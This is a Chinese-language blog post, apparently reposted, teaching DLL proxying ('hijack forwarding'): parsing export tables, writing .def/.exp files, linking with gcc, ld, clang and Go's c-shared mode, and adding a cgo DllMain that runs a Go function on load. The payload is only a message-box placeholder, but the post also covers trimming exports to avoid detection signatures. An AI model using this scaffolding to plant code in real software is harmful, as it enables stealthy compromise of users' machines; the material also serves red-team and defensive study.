golang實現dll惡意劫持轉發


本文章將講解如何使用惡意的 Golang 來實現 dll 劫持轉發

dll 轉發概述

dll 轉發: 攻擊者使用惡意dll替換原始dll,重命名原始dll並通過惡意dll將原先的功能轉發至原始dll。

該惡意dll一般用來專門執行攻擊者希望攔截或修改的功能,同時將所有其他功能轉發至原始dll

一般可與 dll 劫持共同使用。

dll 搜索順序

首先我們來看一下 Windows 系統中 dll 的搜索順序

enter description here

上圖中攻擊者可以控制的就是標准搜索順序中的步驟,根據情況的不同我們可以選擇不同的方式來進行 dll 劫持

步驟

要實現 dll 轉發,一般需要以下一些步驟

  1. 解析原始 dll 的導出表
  2. 收集出要攔截修改的函數
  3. 在惡意 dll 中實現攔截功能
  4. 將所有其他函數轉發至原始 dll 上
  5. 重命名原始 dll
  6. 使用原始 dll 的名稱重命名惡意 dll

PE 文件導出表

什么是 PE 導出表?

導出表就是當前的 PE 文件提供了哪些函數給別人調用。

並不只有 dll 才有導出表,所有的 PE 文件都可以有導出表,exe 也可以導出函數給別人使用,一般情況而言 exe 沒有,但並不是不可以有

導出表在哪里?

PE 文件格式在這里並不進行詳細介紹,感興趣的讀者可以自行查閱相關資料。

PE 文件包含 DOS 頭和 PE 頭,PE 頭里面有一個擴展頭,這里面包含了一個數據目錄(包含每個目錄的VirtualAddress和Size的數組。目錄包括:導出、導入、資源、調試等),從這個地方我們就能夠定位到導出表位於哪里

導出表的結構

接下來我們看看導出表的結構

typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;
    DWORD   TimeDateStamp;      //時間戳.  編譯的時間. 把秒轉為時間.可以知道這個DLL是什么時候編譯出來的.
    WORD    MajorVersion;
    WORD    MinorVersion;
    DWORD   Name;           //指向該導出表文件名的字符串,也就是這個DLL的名稱  輔助信息.修改不影響  存儲的RVA 如果想在文件中查看.自己計算一下FOA即可.
    DWORD   Base;           // 導出函數的起始序號
    DWORD   NumberOfFunctions;     //所有的導出函數的個數
    DWORD   NumberOfNames;         //以名字導出的函數的個數
    DWORD   AddressOfFunctions;     // 導出的函數地址的 地址表  RVA  也就是 函數地址表  
    DWORD   AddressOfNames;         // 導出的函數名稱表的  RVA      也就是 函數名稱表
    DWORD   AddressOfNameOrdinals;  // 導出函數序號表的RVA         也就是 函數序號表
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

我們使用cff explorer看看dll的導出表

enter description here

可惜從這個圖上我們並不能觀察出導出的函數是否是一個轉發函數,我們使用16進制編輯器打開看看

enter description here

從這個圖上我們可以看到 add 導出函數前面還有一些東西 _lyshark.dll._lyshark.add.add

這個標識告訴我們這個 dll 的導出函數 add 實際上位於 _lyshark.dll 上

dll 轉發如何工作

當我們調用轉發函數時,Windows加載程序將檢查該 dll(即惡意 dll)所引用的 dll(即原始dll)是否已加載,如果引用的 dll 還沒有加載到內存中,Windows加載程序將加載這個引用的 dll,最后搜索該導出函數的真實地址,以便我們調用它

dll 轉發(dll 劫持)的一般實現

我們能在網上搜索到一些 dll 轉發(dll 劫持)的實現,基本是使用微軟 MSVC 編譯器的特殊能力4

MSVC 支持在 cpp 源文件中寫一些鏈接選項,類似

#progma comment(linker, "/export:FUNCTION_NAME=要轉發的dll文件名.FUNCTION_NAME")

列出導出函數

下面我們采用 MSVC 對 zlib.dll 實現一個樣例5

首先我們能使用 DLL Export Viewer 工具查看並導出一個 dll 的導出表

enter description here

然后我們點擊 View > HTML Report - All Functions

我們可以得到一個類似於下面的 html

enter description here

給 MSVC 鏈接器生成導出指令

我們現在可以把這個 html 轉化為 MSVC 的導出指令5

"""
The report generated by DLL Exported Viewer is not properly formatted so it can't be analyzed using a parser unfortunately.
"""
from __future__ import print_function
import argparse

def main():
    parser = argparse.ArgumentParser(description="DLL Export Viewer - Report Parser")
    parser.add_argument("report", help="the HTML report generated by DLL Export Viewer")
    args = parser.parse_args()
    report = args.report

    try:
        f = open(report)
        page = f.readlines()
        f.close()
    except:
        print("[-] ERROR: open('%s')" % report)
        return

    for line in page:
        if line.startswith("<tr>"):
            cols = line.replace("<tr>", "").split("<td bgcolor=#FFFFFF nowrap>")
            function_name = cols[1]
            ordinal = cols[4].split(' ')[0]
            dll_orig = "%s_orig" % cols[5][:cols[5].rfind('.')]
            print("#pragma comment(linker,\"/export:%s=%s.%s,@%s\")" % (function_name, dll_orig, function_name, ordinal))

if __name__ == '__main__':
    main()

然后我們可以獲得這樣的輸出

enter description here

下面的具體怎么生成不再進行介紹,如果感興趣可以查看 Windows Privilege Escalation - DLL Proxying基於AheadLib工具進行DLL劫持

dll 轉發(dll 劫持)的 mingw 實現

如果有的人和我一樣,不喜歡安裝龐大的 Visual Studio,習慣用 gcc mingw 來完成,我們也是能夠完成的

def 文件介紹

這里我們使用 gcc 編譯器和 mingw-w64(這個是mingw的改進版)

此處我們不再采用直接把鏈接指令寫入代碼源文件的方式,而是采用模塊定義文件 (.Def)

模塊定義 (.def) 文件為鏈接器提供有關導出、屬性和有關要鏈接的程序的其他信息的信息。.def 文件在構建 DLL 比較有用。詳情可參見 MSDN Module-Definition (.Def) Files

當然,我們采用這種方式的原因是因為 .def 能被 mingw-w64 所支持,我們要做的就是在.def文件中寫入我們要轉發到原始dll的所有函數的列表,並在編譯dll的時候在GCC中設置該 .def 文件參與鏈接。

簡單的示例

實現流程

這里我們采用一個簡單的樣例,我們采用常規寫了一個 dll, 該 dll 文件導出一個 add 函數,該導出函數的作用就是把傳入的兩個數值進行相加

#include <Windows.h>

extern "C" int __declspec(dllexport)add(int x, int y)
{
	return x + y;
}

BOOL APIENTRY DllMain(HANDLE handle, DWORD dword, LPVOID lpvoid)
{

	return true;
}

我們將它編譯成 dll 文件

gcc add.cpp -shared -o add.dll

然后我們寫一個主程序來調用它

#include <stdio.h>
#include <Windows.h>

typedef int(*lpAdd)(int, int);

int main(int argc, char *argv[])
{
	HINSTANCE DllAddr;
	lpAdd addFun;

	DllAddr = LoadLibraryW(L"add.dll");

	addFun = (lpAdd)GetProcAddress(DllAddr, "add");
	if (NULL != addFun)
	{
		int res = addFun(100, 200);
		printf("result: %d \n", res);
	}

	FreeLibrary(DllAddr);
	system("pause");
	return 0;
}

然后我們進行編譯執行

gcc main.cpp -o main.exe
./main.exe

可以看到如下輸出

enter description here

然后我們將我們剛才生成的 add.dll 重命名為 _add.dll

然后創建一個 .def 文件

functions.def

LIBRARY _add.dll
EXPORTS
    add = _add.add @1

LIBRARY _add.dll 代表轉發到 _add.dll,下面的 EXPORTS 定義了需要轉發的函數,= 前面是導出函數名,= 后面的 _add 代表要轉發到的 dll 的名稱,add 代表要轉發到 _add.dll 的哪一個導出函數,關鍵在於 @1

我們可以拿 DLL Export ViewerStudyPE+ 等工具看看

enter description here

我們可以看到 Ordinal, 這個是導出函數序號,就是 @1 的來源,如果有多個導出函數,依次寫下來即可

然后編寫我們的惡意 dll

#include <Windows.h>

BOOL APIENTRY DllMain(HANDLE handle, DWORD dword, LPVOID lpvoid)
{

	return true;
}

如上所示,當然,這只是一個樣例,所以我並沒有寫下任何惡意代碼

現在可以編譯我們的惡意dll了

gcc -shared -o add.dll evil.cpp functions.def
  1. -shared表示我們要編譯一個共享庫(非靜態)
  2. -o指定可執行文件的輸出文件名
  3. add.dll是我們想給我們的惡意 dll 起的名字
  4. evil.cpp是我們在其中編寫惡意 dll 代碼的 .cpp 文件

如果編譯成功的話,你應該能在同目錄下找到剛剛生成好的惡意 dll(add.dll)

我們再使用 PE 查看工具看看導出表

enter description here

可以看到中轉輸出表上已經有了

注意我們這個 dll 並沒有寫任何功能性代碼,讓我們使用剛才編譯的 main.exe 測試一下

enter description here

可以發現功能轉發正常

當然,當導出函數過多的時候我們不可能一個個自己去導出表里抄,可以寫一個腳本自動化完成這個工作,不過這不是我們本文的重點,或者你可以使用 mingw-w64 里面自帶的 gendef.exe 工具

.def 和 .exp 文件

exp

文件是指導出庫文件的文件,簡稱導出庫文件,它包含了導出函數和數據項的信息。當LIB創建一個導入庫,同時它也創建一個導出庫文件。如果你的程序鏈接到另一個程序,並且你的程序需要同時導出和導入到另一個程序中,這個時候就要使用到exp文件(LINK工具將使用EXP文件來創建動態鏈接庫)。

def

def文件的作用即是,告知編譯器不要以microsoft編譯器的方式處理函數名,而以指定的某方式編譯導出函數(比如有函數func,讓編譯器處理后函數名仍為func)。這樣,就可以避免由於microsoft VC++編譯器的獨特處理方式而引起的鏈接錯誤。

從上面的介紹中我們可以看出 .exp 文件可以用在鏈接階段,所以我們可以先使用 dlltool 工具將 .def 轉化為 .exp 文件,然后編譯 evil.cppevil.o 再手動進行鏈接。

gcc -c -O3 evil.cpp
dlltool --output-exp functions.exp --input-def functions.def
ld -o add.dll functions.exp evil.o

額外的說明

當然,你也可以通過 clang 來完成這項工作

clang -shared evil.cpp -o add.dll -Wl"/DEF:functions.def"

我們如何用 Golang 來實現轉發 dll

Golang 提供了官方的動態鏈接庫(dll)編譯命令 go build -buildmode=c-shared -o exportgo.dll exportgo.go,根據我們前面鋪墊的基礎,現階段所需要思考的是:如何把 .def 文件或 .exp 文件也帶入進去?

下文我將用 gcc 作為 cgo 的外部鏈接器,clang也可以按照同樣的思想

嘗試與思考

為什么不考慮利用cgo直接在c代碼中寫 #progma comment(linker, '/EXPORT'),這個的主要原因是 Golang 的 cgo 能力現階段只支持 clang 和 gcc,MSVC編譯器並不支持9

讓我們現在來思考一下整個編譯流程:

  • 預處理
    預處理用於將所有的#include頭文件以及宏定義替換成其真正的內容
  • 編譯
    將經過預處理之后的程序轉換成特定匯編代碼(assembly code)的過程
  • 匯編
    匯編過程將上一步的匯編代碼轉換成機器碼(machine code),這一步產生的文件叫做目標文件,是二進制格式。gcc匯編過程通過as命令完成,這一步會為每一個源文件產生一個目標文件
  • 鏈接
    鏈接過程將多個目標文以及所需的庫文件(.so等)鏈接成最終的可執行文件(executable file)。

前三步都是在將代碼處理成二進制機器碼,而我們所要操控的導出表是屬於文件格式的一部分,所以應該是需要在鏈接這個步驟做文章

借助這個思路,我們對上面的樣例做做文章。

首先把我們的 evil.cpp 編譯匯編成目標文件,然后鏈接時加入額外控制。

# evil.cpp 編譯匯編成 evil.o 目標文件(下面的 -O3 是為了啟用 O3 優化,可選)
gcc -c O3 evil.cpp
# 和 .def 文件一起進行鏈接
ld -o add.dll functions.def evil.o

或者利用上文中先將 .def 轉化成 .exp 再進行手動鏈接,我們均能得到我們預期的轉發dll。

golang 中的實現

我們的目的是需要把 .def 或 .exp 文件放入整個編譯流程的鏈接環節中去。

首先我們需要先了解一下 cgo 的工作方式11:它用c編譯器編譯c,用Go編譯器編譯Go,然后使用 gcc 或 clang 將他們鏈接在一起,我們甚至能夠通過 CGO_LDFLAGS 來將flag傳遞至鏈接器。

在我們Golang程序編譯命令中,相信大家使用過 -ldflags="" 選項,這個其實是 go tool link 帶來的,go build 只是一個前端,Go 提供了一組低級工具來編譯和鏈接程序,go build只需收集文件並調用這些工具。我們可以通過使用-x標志來跟蹤它的作用。不過這里我們並不關心這個。

我們去看看 go tool link的說明書,幫助文件里面提到了

-extld linker
	Set the external linker (default "clang" or "gcc").
-extldflags flags
	Set space-separated flags to pass to the external linker.

-extld 一般我們不需要更改,也就是我們只需要想辦法修改 -extldflags 讓鏈接過程帶入我們的 .def 或 .exp 文件即可。

但是,我們剛才使用 ld 編譯的時候,都是直接將 .def 或 .exp 文件傳入的,如何通過 ld 的參數傳入呢?

gcc 的鏈接選項 里,有一個選項是 -Wl,用法為 -Wl,option,它的作用就是將-Wl后的option作為標識傳遞給 ld 命令,如果 option 中包含 ,,則根據 , 拆分為多個標識傳遞給 ld,可能看到這里你對於這個選項還是一知半解,下面舉個例子

gcc -c evil.cpp
ld -o add.dll functions.def evil.o

等同於

gcc -shared -o add.dll -Wl,functions.def evil.cpp

等同於

gcc -shared -Wl,functions.def,-o,add.dll evil.cpp

也就是 -Wl 后面的東西都會傳遞鏈接器

所以我們將 .def 或 .exp 文件利用 -Wl 選項設置到 -extldflags 上去即可。

所以我們現在可以創建一個樣例 go 程序用來編譯 dll

main.go

package main

import "C"

func main() {
	// Need a main function to make CGO compile package as C shared library
}

然后進行編譯

go build -buildmode=c-shared -o add.dll -ldflags="-extldflags=-Wl,C:/Users/Akkuman/Desktop/go-dll-proxy/article/functions.def" main.go

注意:-Wl后面要寫上 .def 或 .exp 文件的絕對路徑,主要是由於調用程序時候的工作路徑問題,只需要記住這一點即可。

現在我們得到了一個 golang 編譯出來的轉發dll

enter description here

當然,你可能會對那個 _cgo_dummy_export 導出函數比較疑惑,這個是golang編譯的dll所特有的,如果你想要去除掉它,可以使用 .exp 來進行鏈接

go build -buildmode=c-shared -o add.dll -ldflags="-extldflags=-Wl,C:/Users/Akkuman/Desktop/go-dll-proxy/article/functions.exp" main.go

enter description here

dll 轉發的總結

其實 cgo 主要的編譯手段為:用c編譯器編譯c,用Go編譯器編譯Go,然后使用 gcc 或 clang 將他們鏈接在一起。我們所需要做的只是將它們粘合在一起。

在 Golang 中如何實現惡意 dll

我們已經知道了該怎么在 Golang 中實現轉發 dll,接下來我們可以嘗試實現惡意 dll 了。

init 寫法

如果你看這篇文章,相信你已經知道 Go 會默認執行包中的 init() 方法。所以我們可以把我們的惡意代碼定義到這個函數里面去。

一般的dll實現方式為

package main

func Add(x, y int) int {
    return x + y
}

func main() {
    // Need a main function to make CGO compile package as C shared library
}

我們只需要加上一個 init 方法,並且讓惡意代碼異步執行即可(防止 LoadLibrary 卡住)

package main

func init() {
    go func() {
        // 你的惡意代碼
    }()
}

func Add(x, y int) int {
    return x + y
}

func main() {
    // Need a main function to make CGO compile package as C shared library
}

對於 windows dll 更細粒度的控制

對於windows dll,DllMain11 是一個可選的入口函數

對於 DllMain 的介紹,我這里就不再贅述了,感興趣的可以自行進行查詢

系統是在什么時候調用DllMain函數的呢?靜態鏈接或動態鏈接時調用LoadLibrary和FreeLibrary都會調用DllMain函數。DllMain的第二個參數fdwReason指明了系統調用Dll的原因,它可能是::

  • DLL_PROCESS_ATTACH: 當一個DLL文件首次被映射到進程的地址空間時
  • DLL_PROCESS_DETACH: 當DLL被從進程的地址空間解除映射時
  • DLL_THREAD_ATTACH: 當進程創建一線程時,第n(n>=2)次以后地把DLL映像文件映射到進程的地址空間時,是不再用DLL_PROCESS_ATTACH調用DllMain的。而DLL_THREAD_ATTACH不同,進程中的每次建立線程,都會用值DLL_THREAD_ATTACH調用DllMain函數,哪怕是線程中建立線程也一樣
  • DLL_THREAD_DETACH: 如果線程調用了ExitThread來結束線程(線程函數返回時,系統也會自動調用ExitThread),系統查看當前映射到進程空間中的所有DLL文件映像,並用DLL_THREAD_DETACH來調用DllMain函數,通知所有的DLL去執行線程級的清理工作

這些流程根據你自己的需求來進行控制。當然,如果你有過 Windows 編程經驗,應該對這個比較熟悉。

Golang 是一個有 GC 的語言,需要在加載時運行 Golang 本身的運行時,所以暫時沒有太好的方案在 Golang 中實現 DllMain 讓外層直接調用入口點,因為沒有初始化運行時。

我們可以變相通過 cgo 來實現這個目的。總體思路為,利用 C 來寫 DllMain,通過 c 來調用 Golang 的函數

以下示例代碼大多來自 github.com/NaniteFactory/dllmain

c 實現 DllMain

首先我們可以在 c 中定義我們自己的 DllMain

#include "dllmain.h"

typedef struct {
    HINSTANCE hinstDLL;  // handle to DLL module
    DWORD fdwReason;     // reason for calling function // reserved
    LPVOID lpReserved;   // reserved
} MyThreadParams;

DWORD WINAPI MyThreadFunction(LPVOID lpParam) {
    MyThreadParams params = *((MyThreadParams*)lpParam);
    OnProcessAttach(params.hinstDLL, params.fdwReason, params.lpReserved);
    free(lpParam);
    return 0;
}

BOOL WINAPI DllMain(
    HINSTANCE _hinstDLL,  // handle to DLL module
    DWORD _fdwReason,     // reason for calling function
    LPVOID _lpReserved)   // reserved
{
    switch (_fdwReason) {
	case DLL_PROCESS_ATTACH:
		// Initialize once for each new process.
        // Return FALSE to fail DLL load.
        {
            MyThreadParams* lpThrdParam = (MyThreadParams*)malloc(sizeof(MyThreadParams));
            lpThrdParam->hinstDLL = _hinstDLL;
            lpThrdParam->fdwReason = _fdwReason;
            lpThrdParam->lpReserved = _lpReserved;
            HANDLE hThread = CreateThread(NULL, 0, MyThreadFunction, lpThrdParam, 0, NULL);
            // CreateThread() because otherwise DllMain() is highly likely to deadlock.
        }
        break;
    case DLL_PROCESS_DETACH:
        // Perform any necessary cleanup.
        break;
    case DLL_THREAD_DETACH:
        // Do thread-specific cleanup.
        break;
    case DLL_THREAD_ATTACH:
		// Do thread-specific initialization.
        break;
    }
    return TRUE; // Successful.
}

注意此處最好使用 CreateThread 來進行外部 Go 函數的調用,不然可能因為初始化 Go 運行時的問題導致死鎖。

我們在該代碼中 DLL_PROCESS_ATTACH 時異步調用了 OnProcessAttach,我們在 Golang 中實現這個惡意函數

Golang 惡意代碼

我們現在來定義我們的惡意代碼實現

package main

import "C"

import (
	"unsafe"
	"syscall"
)

// MessageBox of Win32 API.
func MessageBox(hwnd uintptr, caption, title string, flags uint) int {
	ret, _, _ := syscall.NewLazyDLL("user32.dll").NewProc("MessageBoxW").Call(
		uintptr(hwnd),
		uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(caption))),
		uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(title))),
		uintptr(flags))

	return int(ret)
}

// MessageBoxPlain of Win32 API.
func MessageBoxPlain(title, caption string) int {
	const (
		NULL  = 0
		MB_OK = 0
	)
	return MessageBox(NULL, caption, title, MB_OK)
}

// OnProcessAttach is an async callback (hook).
//export OnProcessAttach
func OnProcessAttach(
	hinstDLL unsafe.Pointer, // handle to DLL module
	fdwReason uint32, // reason for calling function
	lpReserved unsafe.Pointer, // reserved
) {
	MessageBoxPlain("OnProcessAttach", "OnProcessAttach")
}

func main() {
	// Need a main function to make CGO compile package as C shared library
}

此處我們實現了惡意函數 OnProcessAttach,只是彈個窗來模擬惡意代碼。

組合 Golang 和 c 編譯

現在我們有了 .go 和 .c,還需要把它們兩個粘合起來

第一種方案

你可以通過 cgo 的一般寫法,在 .go 的注釋中把 c 代碼拷貝進去,例如

package main

/*
#include "dllmain.h"

typedef struct {
    HINSTANCE hinstDLL;  // handle to DLL module
    DWORD fdwReason;     // reason for calling function // reserved
    LPVOID lpReserved;   // reserved
} MyThreadParams;

DWORD WINAPI MyThreadFunction(LPVOID lpParam) {
    MyThreadParams params = *((MyThreadParams*)lpParam);
    OnProcessAttach(params.hinstDLL, params.fdwReason, params.lpReserved);
    free(lpParam);
    return 0;
}
...c源碼文件
*/

import "C"

import (
	"unsafe"
	"syscall"
)

// MessageBox of Win32 API.
func MessageBox(hwnd uintptr, caption, title string, flags uint) int {
	ret, _, _ := syscall.NewLazyDLL("user32.dll").NewProc("MessageBoxW").Call(
		uintptr(hwnd),
		uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(caption))),
		uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(title))),
		uintptr(flags))

	return int(ret)
}
...go 源碼文件
第二種方案

或者你也可以給 .c 寫一個頭文件 .h,然后在 .go 中導入這個頭文件,在 go build 的時候 Go 編譯器會默認找到該目錄下的 .c、.h、.go 一起編譯。

比如你可以創建一個 .h 文件

#include <windows.h>

void OnProcessAttach(HINSTANCE, DWORD, LPVOID);

BOOL WINAPI DllMain(
    HINSTANCE _hinstDLL,  // handle to DLL module
    DWORD _fdwReason,     // reason for calling function
    LPVOID _lpReserved    // reserved
);

然后在 .go 中引用它

package main

/*
#include "dllmain.h"
*/
import "C"

import (
	"unsafe"
	"syscall"
)

// MessageBox of Win32 API.
func MessageBox(hwnd uintptr, caption, title string, flags uint) int {
	ret, _, _ := syscall.NewLazyDLL("user32.dll").NewProc("MessageBoxW").Call(
		uintptr(hwnd),
		uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(caption))),
		uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(title))),
		uintptr(flags))

	return int(ret)
}

然后就可以一起編譯了。

導出表的問題

確實,現在我們可以編譯出惡意的轉發dll了,但是我們可能會發現導出表里面其實有很多奇奇怪怪的導出函數

enter description here

這些導出函數可能會成為某些特征

我們的原始dll並沒有這些導出函數,但是生成的轉發dll這么多奇怪的導出函數該怎么去掉?

我們可以同樣可以使用上文的 exp 文件來解決,它就是一個導出庫文件,來定義有哪些導出的。

根據上文的方法我們使用 dlltool 從 def 文件生成一個 exp 文件,然后編譯時加入鏈接即可。

go build -buildmode=c-shared -o add.dll -ldflags="-extldflags=-Wl,/home/lab/Repo/go-dll-proxy/dllmain/functions.exp -s -w"

ldflags 里面的新增的 -s -w 只是為了減小一點體積去除一下符號,可選。

最后的最后

倉庫相關示例已經上傳至 github.com/akkuman/go-dll-evil

感興趣的可以查看。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM